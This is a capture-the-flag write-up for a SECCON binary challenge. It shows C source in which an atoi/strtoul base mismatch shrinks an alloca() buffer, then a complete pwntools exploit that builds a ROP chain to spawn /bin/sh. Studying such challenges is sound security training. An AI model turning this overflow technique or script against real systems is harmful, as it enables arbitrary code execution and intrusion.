#include<ctype.h>#include<stdio.h>#include<stdlib.h>#include<string.h>ssize_tunserialize(FILE *fp, char*buf, size_t size) {
char szbuf[0x20];
char*tmpbuf;
for (size_t i =0; i <sizeof(szbuf); i++) {
szbuf[i] =fgetc(fp);
if (szbuf[i] ==':') {
szbuf[i] =0;
break;
}
if (!isdigit(szbuf[i]) || i ==sizeof(szbuf) -1) {
return-1;
}
}
if (atoi(szbuf) > size) {
return-1;
}
tmpbuf = (char*)alloca(strtoul(szbuf, NULL, 0));
size_t sz =strtoul(szbuf, NULL, 10);
for (size_t i =0; i < sz; i++) {
if (fscanf(fp, "%02hhx", tmpbuf + i) !=1) {
return-1;
}
}
memcpy(buf, tmpbuf, sz);
return sz;
}
intmain() {
char buf[0x100];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
if (unserialize(stdin, buf, sizeof(buf)) <0) {
puts("[-] Deserialization faield");
} else {
puts("[+] Deserialization success");
}
return0;
}
Vulnerability
The vulnerability to exploit in this challenge resides in an inconsitency bug
from atoi() and strtoul(). The program calls atoi to obtain the length of the string
(base 10) and then uses strtoul to obtain the size of the input (base 8).
This difference in bases allows us to input a string starting with ‘0’ to be interpreted
as octal causing a smaller allocation than intended. The conversion will happen
on every octal character before ‘:’ and will stop if one of the digits does not
follow this criteria. We can then overflow the stack thanks to alloca().
Here is an example:
The value we passed was 0249:
atoi() is passed with “0249”, which returns 249.
The first strtoul() is called in the following way: strtoul("0249", NULL, 0), which returns 20, since the 9 is ignored and 24 in octal is 20 in decimal.
alloca() allocates less bytes than what we passed in decimal (249 bytes).
We could also use 04294967296 to cause a huge overflow though we didn’t explore this method at all.
Exploitation
The binary is statically compiled and has no PIE.
In our exploit we will replace the destination of memcpy() to overwrite the return address.
from pwn import*e = ELF("./chall")
context.binary = e
context.terminal = ["tmux", "splitw", "-h"]
context.log_level ="debug"context.gdb_binary ='/usr/local/bin/pwndbg'defconn():
if args.SSH:
s = ssh(
user="user",
host="host.org",
port=2222,
password="password" )
r = s.process({proc_args})
elif args.GDB:
r = gdb.debug([e.path], gdbscript="""
b *main+1
continue
""")
elif args.SOCKET:
r = remote("unserialize.seccon.games", 5000)
else:
r = process([e.path])
return r
defmain():
r = conn()
size =249 offset =48 pop_rdi =0x422d27 pop_rsi =0x43617e syscall =0x401364 stdin_addr =0x4ca440 binsh_addr =0x4cc000 payload =b"/bin/sh\x00" payload += cyclic(offset -8)
payload += p64(binsh_addr)
payload += p64(stdin_addr) +b"B"*8+b"\x97" payload += p64(pop_rdi)
payload += p64(59- size - binsh_addr, sign="signed")
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(syscall)
payload +=b"A"* offset
payload ="0"+str(size) +":"+ payload.hex()
r.sendline(payload.encode())
r.interactive()
if __name__ =="__main__":
main()
Conclusion
The difficulty of this CTF was pretty insane but that’s when we learn the most,
also thanks to @t0m7r00z who has been the first one in our team to flag this ;)
Also thanks to @ptr-yudai for the very qualitative challenges.